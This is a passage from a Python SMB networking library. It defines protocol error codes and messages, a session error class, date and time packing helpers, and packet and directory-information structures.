ERRbadlink                           = 68\n    ERRbadpermits                        = 69\n    ERRbadpid                            = 70\n    ERRsetattrmode                       = 71\n    ERRpaused                            = 81\n    ERRmsgoff                            = 82\n    ERRnoroom                            = 83\n    ERRrmuns                             = 87\n    ERRtimeout                           = 88\n    ERRnoresource                        = 89\n    ERRtoomanyuids                       = 90\n    ERRbaduid                            = 91\n    ERRuseMPX                            = 250\n    ERRuseSTD                            = 251\n    ERRcontMPX                           = 252\n    ERRbadPW                             = None\n    ERRnosupport                         = 0\n    ERRunknownsmb                        = 22\n\n    # Error codes for the ERRHRD class\n\n    ERRnowrite                           = 19\n    ERRbadunit                           = 20\n    ERRnotready                          = 21\n    ERRbadcmd                            = 22\n    ERRdata                              = 23\n    ERRbadreq                            = 24\n    ERRseek                              = 25\n    ERRbadmedia                          = 26\n    ERRbadsector                         = 27\n    ERRnopaper                           = 28\n    ERRwrite                             = 29\n    ERRread                              = 30\n    ERRwrongdisk                         = 34\n    ERRFCBunavail                        = 35\n    ERRsharebufexc                       = 36\n    ERRdiskfull                          = 39\n\n\n    hard_msgs = {\n      19: (\"ERRnowrite\", \"Attempt to write on write-protected diskette.\"),\n      20: (\"ERRbadunit\", \"Unknown unit.\"),\n      21: (\"ERRnotready\", \"Drive not ready.\"),\n      22: (\"ERRbadcmd\", \"Unknown command.\"),\n      23: (\"ERRdata\", \"Data error (CRC).\"),\n      24: (\"ERRbadreq\", \"Bad request structure length.\"),\n      25: (\"ERRseek\", \"Seek error.\"),\n      26: (\"ERRbadmedia\", \"Unknown media type.\"),\n      27: (\"ERRbadsector\", \"Sector not found.\"),\n      28: (\"ERRnopaper\", \"Printer out of paper.\"),\n      29: (\"ERRwrite\", \"Write fault.\"),\n      30: (\"ERRread\", \"Read fault.\"),\n      31: (\"ERRgeneral\", \"General failure.\"),\n      32: (\"ERRbadshare\", \"An open conflicts with an existing open.\"),\n      33: (\"ERRlock\", \"A Lock request conflicted with an existing lock or specified an invalid mode, or an Unlock requested attempted to remove a lock held by another process.\"),\n      34: (\"ERRwrongdisk\", \"The wrong disk was found in a drive.\"),\n      35: (\"ERRFCBUnavail\", \"No FCBs are available to process request.\"),\n      36: (\"ERRsharebufexc\", \"A sharing buffer has been exceeded.\")\n      }\n\n    dos_msgs = {\n      ERRbadfunc: (\"ERRbadfunc\", \"Invalid function.\"),\n      ERRbadfile: (\"ERRbadfile\", \"File not found.\"),\n      ERRbadpath: (\"ERRbadpath\", \"Directory invalid.\"),\n      ERRnofids: (\"ERRnofids\", \"No file descriptors available\"),\n      ERRnoaccess: (\"ERRnoaccess\", \"Access denied.\"),\n      ERRbadfid: (\"ERRbadfid\", \"Invalid file handle.\"),\n      ERRbadmcb: (\"ERRbadmcb\", \"Memory control blocks destroyed.\"),\n      ERRnomem: (\"ERRnomem\", \"Insufficient server memory to perform the requested function.\"),\n      ERRbadmem: (\"ERRbadmem\", \"Invalid memory block address.\"),\n      ERRbadenv: (\"ERRbadenv\", \"Invalid environment.\"),\n      11: (\"ERRbadformat\", \"Invalid format.\"),\n      ERRbadaccess: (\"ERRbadaccess\", \"Invalid open mode.\"),\n      ERRbaddata: (\"ERRbaddata\", \"Invalid data.\"),\n      ERRres: (\"ERRres\", \"reserved.\"),\n      ERRbaddrive: (\"ERRbaddrive\", \"Invalid drive specified.\"),\n      ERRremcd: (\"ERRremcd\", \"A Delete Directory request attempted  to  remove  the  server's  current directory.\"),\n      ERRdiffdevice: (\"ERRdiffdevice\", \"Not same device.\"),\n      ERRnofiles: (\"ERRnofiles\", \"A File Search command can find no more files matching the specified criteria.\"),\n      ERRbadshare: (\"ERRbadshare\", \"The sharing mode specified for an Open conflicts with existing  FIDs  on the file.\"),\n      ERRlock: (\"ERRlock\", \"A Lock request conflicted with an existing lock or specified an  invalid mode,  or an Unlock requested attempted to remove a lock held by another process.\"),\n      ERRunsup: (\"ERRunsup\",  \"The operation is unsupported\"),\n      ERRnosuchshare: (\"ERRnosuchshare\",  \"You specified an invalid share name\"),\n      ERRfilexists: (\"ERRfilexists\", \"The file named in a Create Directory, Make  New  File  or  Link  request already exists.\"),\n      ERRinvalidname: (\"ERRinvalidname\",  \"Invalid name\"),\n      ERRbadpipe: (\"ERRbadpipe\", \"Pipe invalid.\"),\n      ERRpipebusy: (\"ERRpipebusy\", \"All instances of the requested pipe are busy.\"),\n      ERRpipeclosing: (\"ERRpipeclosing\", \"Pipe close in progress.\"),\n      ERRnotconnected: (\"ERRnotconnected\", \"No process on other end of pipe.\"),\n      ERRmoredata: (\"ERRmoredata\", \"There is more data to be returned.\"),\n      ERRinvgroup: (\"ERRinvgroup\", \"Invalid workgroup (try the -W option)\"),\n      ERRlogonfailure: (\"ERRlogonfailure\", \"Logon failure\"),\n      ERRdiskfull: (\"ERRdiskfull\", \"Disk full\"),\n      ERRgeneral: (\"ERRgeneral\",  \"General failure\"),\n      ERRunknownlevel: (\"ERRunknownlevel\",  \"Unknown info level\")\n      }\n\n    server_msgs = {\n      1: (\"ERRerror\", \"Non-specific error code.\"),\n      2: (\"ERRbadpw\", \"Bad password - name/password pair in a Tree Connect or Session Setup are invalid.\"),\n      3: (\"ERRbadtype\", \"reserved.\"),\n      4: (\"ERRaccess\", \"The requester does not have  the  necessary  access  rights  within  the specified  context for the requested function. The context is defined by the TID or the UID.\"),\n      5: (\"ERRinvnid\", \"The tree ID (TID) specified in a command was invalid.\"),\n      6: (\"ERRinvnetname\", \"Invalid network name in tree connect.\"),\n      7: (\"ERRinvdevice\", \"Invalid device - printer request made to non-printer connection or  non-printer request made to printer connection.\"),\n      49: (\"ERRqfull\", \"Print queue full (files) -- returned by open print file.\"),\n      50: (\"ERRqtoobig\", \"Print queue full -- no space.\"),\n      51: (\"ERRqeof\", \"EOF on print queue dump.\"),\n      52: (\"ERRinvpfid\", \"Invalid print file FID.\"),\n      64: (\"ERRsmbcmd\", \"The server did not recognize the command received.\"),\n      65: (\"ERRsrverror\",\"The server encountered an internal error, e.g., system file unavailable.\"),\n      67: (\"ERRfilespecs\", \"The file handle (FID) and pathname parameters contained an invalid  combination of values.\"),\n      68: (\"ERRreserved\", \"reserved.\"),\n      69: (\"ERRbadpermits\", \"The access permissions specified for a file or directory are not a valid combination.  The server cannot set the requested attribute.\"),\n      70: (\"ERRreserved\", \"reserved.\"),\n      71: (\"ERRsetattrmode\", \"The attribute mode in the Set File Attribute request is invalid.\"),\n      81: (\"ERRpaused\", \"Server is paused.\"),\n      82: (\"ERRmsgoff\", \"Not receiving messages.\"),\n      83: (\"ERRnoroom\", \"No room to buffer message.\"),\n      87: (\"ERRrmuns\", \"Too many remote user names.\"),\n      88: (\"ERRtimeout\", \"Operation timed out.\"),\n      89: (\"ERRnoresource\", \"No resources currently available for request.\"),\n      90: (\"ERRtoomanyuids\", \"Too many UIDs active on this session.\"),\n      91: (\"ERRbaduid\", \"The UID is not known as a valid ID on this session.\"),\n      250: (\"ERRusempx\",\"Temp unable to support Raw, use MPX mode.\"),\n      251: (\"ERRusestd\",\"Temp unable to support Raw, use standard read/write.\"),\n      252: (\"ERRcontmpx\", \"Continue in MPX mode.\"),\n      253: (\"ERRreserved\", \"reserved.\"),\n      254: (\"ERRreserved\", \"reserved.\"),\n  0xFFFF: (\"ERRnosupport\", \"Function not supported.\")\n  }\n    # Error clases\n\n    ERRDOS = 0x1\n    error_classes = { 0: (\"SUCCESS\", {}),\n                      ERRDOS: (\"ERRDOS\", dos_msgs),\n                      0x02: (\"ERRSRV\",server_msgs),\n                      0x03: (\"ERRHRD\",hard_msgs),\n                      0x04: (\"ERRXOS\", {} ),\n                      0xE1: (\"ERRRMX1\", {} ),\n                      0xE2: (\"ERRRMX2\", {} ),\n                      0xE3: (\"ERRRMX3\", {} ),\n                      0xFF: (\"ERRCMD\", {} ) }\n\n\n\n    def __init__( self, error_string, error_class, error_code, nt_status = 0, packet=0):\n        Exception.__init__(self, error_string)\n        self.nt_status = nt_status\n        self._args = error_string\n        if nt_status:\n           self.error_class = 0\n           self.error_code  = (error_code << 16) + error_class\n        else:\n           self.error_class = error_class\n           self.error_code = error_code\n        self.packet = packet\n\n    def get_error_class( self ):\n        return self.error_class\n\n    def get_error_code( self ):\n        return self.error_code\n\n    def get_error_packet(self):\n        return self.packet\n\n    def __str__( self ):\n        error_class = SessionError.error_classes.get( self.error_class, None )\n        if not error_class:\n            error_code_str = self.error_code\n            error_class_str = self.error_class\n        else:\n            error_class_str = error_class[0]\n            error_code = error_class[1].get( self.error_code, None )\n            if not error_code:\n                error_code_str = self.error_code\n            else:\n                error_code_str = '%s(%s)' % error_code\n\n        if self.nt_status:\n            key = self.error_code\n            if key in nt_errors.ERROR_MESSAGES:\n                error_msg_short = nt_errors.ERROR_MESSAGES[key][0] \n                error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] \n                return 'SMB SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n            else:\n                return 'SMB SessionError: unknown error code: 0x%x' % self.error_code\n        else:\n            # Fall back to the old format\n            return 'SMB SessionError: class: %s, code: %s' % (error_class_str, error_code_str)\n\n\n# Raised when an supported feature is present/required in the protocol but is not\n# currently supported by pysmb\nclass UnsupportedFeature(Exception):\n    pass\n\n# Add basic filetime conversion helper methods.\ndef POSIXtoFT(t):\n    \"\"\"\n    Helper method that converts POSIX timestamps to FILETIME timestamps.\n    \n    :param int t: POSIX timestamp - can be retrieved from datetime library.\n    \n    :return int: FILETIME timestamp representing the given POSIX timestamp.\n    \"\"\"\n    \n    t *= 10000000\n    t += 116444736000000000\n    \n    return int(t)\n\ndef FTtoPOSIX(t):\n    \"\"\"\n    Helper method that converts FILETIME timestamps to POSIX timestamps.\n    \n    :param int t: FILETIME timestamp.\n    \n    :return int: POSIX timestamp representing the given FILETIME timestamp.\n    \"\"\"\n    \n    t -= 116444736000000000\n    t //= 10000000\n    \n    return int(t)\n\n# Define SMB Standard DateTime Data according to (2.2.1.4 Time)\nclass SMBDateStruct(BigEndianStructure):\n    _fields_ = [\n        (\"y\", c_uint32, 7),\n        (\"m\", c_uint32, 4),\n        (\"d\", c_uint32, 5),\n    ]\n\nclass SMB_DATE:\n    \"\"\"\n    2.2.1.4.1 SMB_DATE\n    Class representing an SMB Date value.\n    https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/31b65222-4171-49b4-aeed-7d3f38ecf68b\n    \"\"\"\n    def __init__(self, year, month, day):\n        \"\"\"\n        :param int year: An integer representing the valid year part of the date.\n        :param int month: An integer representing the valid month part of the date.\n        :param int day: An integer representing the valid day part of the date.\n        \"\"\"\n        \n        self.year = year\n        self.month = month\n        self.day = day\n    \n    @property\n    def year(self):\n        return self._year + 1980\n    \n    @year.setter\n    def year(self, value):\n        value = value - 1980\n        if value < 0 or value > 119:\n            raise ValueError(\"Invalid year component.\")\n        \n        self._year = value\n    \n    @property\n    def month(self):\n        return self._month\n    \n    @month.setter\n    def month(self, value):\n        if value < 0 or value > 12:\n            raise ValueError(\"Invalid month component.\")\n        \n        self._month = value\n    \n    @property\n    def day(self):\n        return self._day\n    \n    @day.setter\n    def day(self, value):\n        if value < 0 or value > 31:\n            raise ValueError(\"Invalid day component.\")\n        \n        self._day = value\n    \n    def pack(self):\n        return ((self._year << 9) & 0xFE00) + ((self._month << 5) & 0x01E0) + (self._day & 0x001F)\n    \n    def pack_into(self):\n        \"\"\"\n        Helper method to easily access the data as a struct.\n        \n        :return SMBDateStruct: The structure representation of the object.\n        \"\"\"\n        \n        res = SMBDateStruct()\n        pack_into(\">H\", res, 0, self.pack())\n        return res\n    \n    @classmethod\n    def from_int(cls, data):\n        \"\"\"\n        Helper method to easily convert packed bytes value to class object.\n        \n        :param bytes data: Packed bytes to be converted to a class object.\n        \n        :return SMB_DATE: The class representation of the packed data bytes.\n        \"\"\"\n        \n        s = SMBDateStruct()\n        pack_into(\">H\", s, 0, data)\n        return cls.from_struct(s)\n        \n    @classmethod\n    def from_struct(cls, s):\n        \"\"\"\n        Helper method to easily convert struct to class object.\n        \n        :param SMBDateStruct s: The struct object to be converted to a class object.\n        \n        :return SMB_DATE: The class representation of the struct object.\n        \"\"\"\n        \n        return cls(s.y + 1980, s.m, s.d)\n\nclass SMBTimeStruct(BigEndianStructure):\n    _fields_ = [\n        (\"h\", c_uint32, 5),\n        (\"m\", c_uint32, 6),\n        (\"s\", c_uint32, 5),\n    ]\n\nclass SMB_TIME:\n    \"\"\"\n    2.2.1.4.2 SMB_TIME\n    Class representing an SMB Time value.\n    https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/401749d1-ee41-4273-9dcb-698180e68745\n    \"\"\"\n    def __init__(self, hour, minutes, seconds):\n        \"\"\"\n        :param int hour: An integer representing the valid hour part of the time.\n        :param int minutes: An integer representing the valid minutes part of the time.\n        :param int seconds: An integer representing the valid seconds part of the time.\n        \"\"\"\n        \n        self.hour = hour\n        self.minutes = minutes\n        self.seconds = seconds\n    \n    @property\n    def hour(self):\n        return self._hour\n    \n    @hour.setter\n    def hour(self, value):\n        if value < 0 or value > 23:\n            raise ValueError(\"Invalid hour component.\")\n        \n        self._hour = value\n    \n    @property\n    def minutes(self):\n        return self._minutes\n    \n    @minutes.setter\n    def minutes(self, value):\n        if value < 0 or value > 59:\n            raise ValueError(\"Invalid minutes component.\")\n        \n        self._minutes = value\n    \n    @property\n    def seconds(self):\n        return self._seconds\n    \n    @seconds.setter\n    def seconds(self, value):\n        if value < 0 or value > 59:\n            raise ValueError(\"Invalid seconds component.\")\n        \n        self._seconds = value\n\n    def pack(self):\n        return ((self._hour << 11) & 0xF800) + ((self._minutes << 5) & 0x07E0) + (self._seconds & 0x001F)\n    \n    def pack_into(self):\n        \"\"\"\n        Helper method to easily access the data as a struct.\n        \n        :return SMBTimeStruct: The structure representation of the object.\n        \"\"\"\n        \n        res = SMBTimeStruct()\n        pack_into(\">H\", res, 0, self.pack())\n        return res\n\n    @classmethod\n    def from_int(cls, data):\n        \"\"\"\n        Helper method to easily convert packed bytes value to class object.\n        \n        :param bytes data: Packed bytes to be converted to a class object.\n        \n        :return SMB_TIME: The class representation of the packed data bytes.\n        \"\"\"\n        \n        s = SMBTimeStruct()\n        pack_into(\">H\", s, 0, data)\n        return cls.from_struct(s)\n        \n    @classmethod\n    def from_struct(cls, s):\n        \"\"\"\n        Helper method to easily convert struct to class object.\n        \n        :param SMBTimeStruct s: The struct object to be converted to a class object.\n        \n        :return SMB_TIME: The class representation of the struct object.\n        \"\"\"\n        \n        return cls(s.h, s.m, s.s)\n\n# Contains information about a SMB shared device/service\nclass SharedDevice:\n    def __init__(self, name, share_type, comment):\n        self.__name = name\n        self.__type = share_type\n        self.__comment = comment\n\n    def get_name(self):\n        return self.__name\n\n    def get_type(self):\n        return self.__type\n\n    def get_comment(self):\n        return self.__comment\n\n    def __repr__(self):\n        return '<SharedDevice instance: name=' + self.__name + ', type=' + str(self.__type) + ', comment=\"' + self.__comment + '\">'\n\n\n# Contains information about the shared file/directory\nclass SharedFile:\n    def __init__(self, ctime, atime, wtime, mtime, filesize, allocsize, attribs, shortname, longname):\n        self.__ctime = ctime # CreateTime ([MS-CIFS] 2.2.8.1.4 SMB_FIND_FILE_DIRECTORY_INFO)\n        self.__atime = atime # LastAccessTime ([MS-CIFS] 2.2.8.1.4 SMB_FIND_FILE_DIRECTORY_INFO)\n        self.__wtime = wtime # LastWriteTime ([MS-CIFS] 2.2.8.1.4 SMB_FIND_FILE_DIRECTORY_INFO)\n        self.__mtime = mtime # LastAttrChangeTime ([MS-CIFS] 2.2.8.1.4 SMB_FIND_FILE_DIRECTORY_INFO)\n        self.__filesize = filesize\n        self.__allocsize = allocsize\n        self.__attribs = attribs\n        try:\n            if isinstance(shortname,bytes):\n                self.__shortname = shortname[:shortname.index(b'\\0')]\n            else:\n                self.__shortname = shortname[:shortname.index('\\0')]\n        except (ValueError, TypeError):\n            self.__shortname = shortname\n        try:\n            if isinstance(shortname,bytes):\n                self.__longname = longname[:longname.index(b'\\0')]\n            else:\n                self.__longname = longname[:longname.index('\\0')]\n        except (ValueError, TypeError):\n            self.__longname = longname\n\n    def get_ctime(self):\n        return self.__ctime\n\n    def get_ctime_epoch(self):\n        return self.__convert_smbtime(self.__ctime)\n\n    def get_wtime(self):\n        return self.__wtime\n\n    def get_wtime_epoch(self):\n        return self.__convert_smbtime(self.__wtime)\n\n    def get_mtime(self):\n        return self.__mtime\n\n    def get_mtime_epoch(self):\n        return self.__convert_smbtime(self.__mtime)\n\n    def get_atime(self):\n        return self.__atime\n\n    def get_atime_epoch(self):\n        return self.__convert_smbtime(self.__atime)\n\n    def get_filesize(self):\n        return self.__filesize\n\n    def get_allocsize(self):\n        return self.__allocsize\n\n    def get_attributes(self):\n        return self.__attribs\n\n    def is_archive(self):\n        return self.__attribs & ATTR_ARCHIVE\n\n    def is_compressed(self):\n        return self.__attribs & ATTR_COMPRESSED\n\n    def is_normal(self):\n        return self.__attribs & ATTR_NORMAL\n\n    def is_hidden(self):\n        return self.__attribs & ATTR_HIDDEN\n\n    def is_readonly(self):\n        return self.__attribs & ATTR_READONLY\n\n    def is_temporary(self):\n        return self.__attribs & ATTR_TEMPORARY\n\n    def is_directory(self):\n        return self.__attribs & ATTR_DIRECTORY\n\n    def is_system(self):\n        return self.__attribs & ATTR_SYSTEM\n\n    def get_shortname(self):\n        return self.__shortname\n\n    def get_longname(self):\n        return self.__longname\n\n    def __repr__(self):\n        return '<SharedFile instance: shortname=\"' + self.__shortname + '\", longname=\"' + self.__longname + '\", filesize=' + str(self.__filesize) + '>'\n\n    @staticmethod\n    def __convert_smbtime(t):\n        x = t >> 32\n        y = t & 0xffffffff\n        geo_cal_offset = 11644473600.0  # = 369.0 * 365.25 * 24 * 60 * 60 - (3.0 * 24 * 60 * 60 + 6.0 * 60 * 60)\n        return (x * 4.0 * (1 << 30) + (y & 0xfff00000)) * 1.0e-7 - geo_cal_offset\n\n\n# Contain information about a SMB machine\nclass SMBMachine:\n    def __init__(self, nbname, nbt_type, comment):\n        self.__nbname = nbname\n        self.__type = nbt_type\n        self.__comment = comment\n\n    def __repr__(self):\n        return '<SMBMachine instance: nbname=\"' + self.__nbname + '\", type=' + hex(self.__type) + ', comment=\"' + self.__comment + '\">'\n\nclass SMBDomain:\n    def __init__(self, nbgroup, domain_type, master_browser):\n        self.__nbgroup = nbgroup\n        self.__type = domain_type\n        self.__master_browser = master_browser\n\n    def __repr__(self):\n        return '<SMBDomain instance: nbgroup=\"' + self.__nbgroup + '\", type=' + hex(self.__type) + ', master browser=\"' + self.__master_browser + '\">'\n\n# Represents a SMB Packet\nclass NewSMBPacket(Structure):\n    structure = (\n        ('Signature', '\"\\xffSMB'),\n        ('Command','B=0'),\n        ('ErrorClass','B=0'),\n        ('_reserved','B=0'),\n        ('ErrorCode','<H=0'),\n        ('Flags1','B=0'),\n        ('Flags2','<H=0'),\n        ('PIDHigh','<H=0'),\n        ('SecurityFeatures','8s=\"\"'),\n        ('Reserved','<H=0'),\n        ('Tid','<H=0xffff'),\n        ('Pid','<H=0'),\n        ('Uid','<H=0'),\n        ('Mid','<H=0'),\n        ('Data','*:'),\n    )\n\n    def __init__(self, **kargs):\n        Structure.__init__(self, **kargs)\n\n        if ('Flags2' in self.fields) is False:\n             self['Flags2'] = 0\n        if ('Flags1' in self.fields) is False:\n             self['Flags1'] = 0\n\n        if 'data' not in kargs:\n            self['Data'] = []\n\n    def addCommand(self, command):\n        if len(self['Data']) == 0:\n            self['Command'] = command.command\n        else:\n            self['Data'][-1]['Parameters']['AndXCommand'] = command.command\n            self['Data'][-1]['Parameters']['AndXOffset'] = len(self)\n        self['Data'].append(command)\n\n    def isMoreData(self):\n        return (self['Command'] in [SMB.SMB_COM_TRANSACTION, SMB.SMB_COM_READ_ANDX, SMB.SMB_COM_READ_RAW] and\n                self['ErrorClass'] == 1 and self['ErrorCode'] == SessionError.ERRmoredata)\n\n    def isMoreProcessingRequired(self):\n        return self['ErrorClass'] == 0x16 and self['ErrorCode'] == 0xc000\n\n    def isValidAnswer(self, cmd):\n        # this was inside a loop reading more from the net (with recv_packet(None))\n        if self['Command'] == cmd:\n            if (self['ErrorClass'] == 0x00 and self['ErrorCode']  == 0x00):\n                    return 1\n            elif self.isMoreData():\n                return 1\n            elif self.isMoreProcessingRequired():\n                return 1\n            raise SessionError(\"SMB Library Error\", self['ErrorClass'] + (self['_reserved'] << 8), self['ErrorCode'], self['Flags2'] & SMB.FLAGS2_NT_STATUS, self)\n        else:\n            raise UnsupportedFeature(\"Unexpected answer from server: Got %d, Expected %d\" % (self['Command'], cmd))\n\n\nclass SMBCommand(Structure):\n    structure = (\n        ('WordCount', 'B=len(Parameters)//2'),\n        ('_ParametersLength','_-Parameters','WordCount*2'),\n        ('Parameters',':'),             # default set by constructor\n        ('ByteCount','<H-Data'),\n        ('Data',':'),                   # default set by constructor\n    )\n\n    def __init__(self, commandOrData = None, data = None, **kargs):\n        if type(commandOrData) == type(0):\n            self.command = commandOrData\n        else:\n            data = data or commandOrData\n\n        Structure.__init__(self, data = data, **kargs)\n\n        if data is None:\n            self['Parameters'] = ''\n            self['Data']       = ''\n\nclass AsciiOrUnicodeStructure(Structure):\n    UnicodeStructure = ()\n    AsciiStructure   = ()\n    ENCODING = 'utf-8'\n\n    def __init__(self, flags = 0, **kargs):\n        if flags & SMB.FLAGS2_UNICODE:\n            self.structure = self.UnicodeStructure\n        else:\n            self.structure = self.AsciiStructure\n        Structure.__init__(self, **kargs)\n\nclass SMBCommand_Parameters(Structure):\n    pass\n\nclass SMBAndXCommand_Parameters(Structure):\n    commonHdr = (\n        ('AndXCommand','B=0xff'),\n        ('_reserved','B=0'),\n        ('AndXOffset','<H=0'),\n    )\n    structure = (       # default structure, overridden by subclasses\n        ('Data',':=\"\"'),\n    )\n\n############# TRANSACTIONS RELATED\n# TRANS2_QUERY_FS_INFORMATION\n# QUERY_FS Information Levels\n# SMB_QUERY_FS_ATTRIBUTE_INFO\nclass SMBQueryFsAttributeInfo(Structure):\n    structure = (\n        ('FileSystemAttributes','<L'),\n        ('MaxFilenNameLengthInBytes','<L'),\n        ('LengthOfFileSystemName','<L-FileSystemName'),\n        ('FileSystemName',':'),\n    )\n\nclass SMBQueryFsInfoVolume(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('ulVolSerialNbr','<L=0xABCDEFAA'),\n        ('cCharCount','<B-VolumeLabel'),\n    )\n    AsciiStructure = (\n        ('VolumeLabel','z'),\n    )\n    UnicodeStructure = (\n        ('VolumeLabel','u'),\n    )\n\n# FILE_FS_SIZE_INFORMATION\nclass FileFsSizeInformation(Structure):\n    structure = (\n        ('TotalAllocationUnits','<q=148529400'),\n        ('AvailableAllocationUnits','<q=14851044'),\n        ('SectorsPerAllocationUnit','<L=2'),\n        ('BytesPerSector','<L=512'),\n    )\n\n# SMB_QUERY_FS_SIZE_INFO\nclass SMBQueryFsSizeInfo(Structure):\n    structure = (\n        ('TotalAllocationUnits','<q=148529400'),\n        ('TotalFreeAllocationUnits','<q=14851044'),\n        ('SectorsPerAllocationUnit','<L=2'),\n        ('BytesPerSector','<L=512'),\n    )\n# FILE_FS_FULL_SIZE_INFORMATION\nclass SMBFileFsFullSizeInformation(Structure):\n    structure = (\n        ('TotalAllocationUnits','<q=148529400'),\n        ('CallerAvailableAllocationUnits','<q=148529400'),\n        ('ActualAvailableAllocationUnits','<q=148529400'),\n        ('SectorsPerAllocationUnit','<L=15'),\n        ('BytesPerSector','<L=512')\n    )\n# SMB_QUERY_FS_VOLUME_INFO\nclass SMBQueryFsVolumeInfo(Structure):\n    structure = (\n        ('VolumeCreationTime','<q'),\n        ('SerialNumber','<L=0xABCDEFAA'),\n        ('VolumeLabelSize','<L=len(VolumeLabel)'),\n        ('Reserved','<H=0x10'),\n        ('VolumeLabel',':')\n    )\n\n# SMB_QUERY_FS_DEVICE_INFO\nclass SMBQueryFsDeviceInfo(Structure):\n    structure = (\n        ('DeviceType', '<L=0'),\n        ('DeviceCharacteristics', '<L=0')\n    )\n\n\n# SMB_FIND_FILE_BOTH_DIRECTORY_INFO level\nclass SMBFindFileBothDirectoryInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('EndOfFile','<q=0'),\n        ('AllocationSize','<q=0'),\n        ('ExtFileAttributes','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('ShortNameLength','<B=0'),\n        ('Reserved','<B=0'),\n        ('ShortName','24s'),\n        ('FileName',':'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('ShortNameLength','<B=0'),\n        ('Reserved','<B=0'),\n        ('ShortName','24s'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO level\nclass SMBFindFileIdFullDirectoryInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('EndOfFile','<q=0'),\n        ('AllocationSize','<q=0'),\n        ('ExtFileAttributes','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('Reserved', '<L=0'),\n        ('FileID','<q=0'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('Reserved','<L=0'),\n        ('FileID','<q=0'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO level\nclass SMBFindFileIdBothDirectoryInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('EndOfFile','<q=0'),\n        ('AllocationSize','<q=0'),\n        ('ExtFileAttributes','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('ShortNameLength','<B=0'),\n        ('Reserved','<B=0'),\n        ('ShortName','24s'),\n        ('Reserved','<H=0'),\n        ('FileID','<q=0'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L=0'),\n        ('ShortNameLength','<B=0'),\n        ('Reserved','<B=0'),\n        ('ShortName','24s'),\n        ('Reserved','<H=0'),\n        ('FileID','<q=0'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_FILE_DIRECTORY_INFO level\nclass SMBFindFileDirectoryInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('EndOfFile','<q=0'),\n        ('AllocationSize','<q=1'),\n        ('ExtFileAttributes','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_FILE_NAMES_INFO level\nclass SMBFindFileNamesInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_FILE_FULL_DIRECTORY_INFO level\nclass SMBFindFileFullDirectoryInfo(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('FileIndex','<L=0'),\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('EndOfFile','<q=0'),\n        ('AllocationSize','<q=1'),\n        ('ExtFileAttributes','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<L-FileName'),\n        ('EaSize','<L'),\n        ('FileName',':'),\n    )\n\n# SMB_FIND_INFO_STANDARD level\nclass SMBFindInfoStandard(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('ResumeKey','<L=0xff'),\n        ('CreationDate','<H=0'),\n        ('CreationTime','<H=0'),\n        ('LastAccessDate','<H=0'),\n        ('LastAccessTime','<H=0'),\n        ('LastWriteDate','<H=0'),\n        ('LastWriteTime','<H=0'),\n        ('EaSize','<L'),\n        ('AllocationSize','<L=1'),\n        ('ExtFileAttributes','<H=0'),\n    )\n    AsciiStructure = (\n        ('FileNameLength','<B-FileName'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameLength','<B-FileName'),\n        ('FileName',':'),\n    )\n\n# SET_FILE_INFORMATION structures\n# 2.2.8.4.1 SMB_INFO_STANDARD\nclass SMBSetStandardInfo(Structure):\n    structure = (\n        ('CreateDate','<H'),\n        ('CreationTime','<H'),\n        ('LastAccessDate','<H'),\n        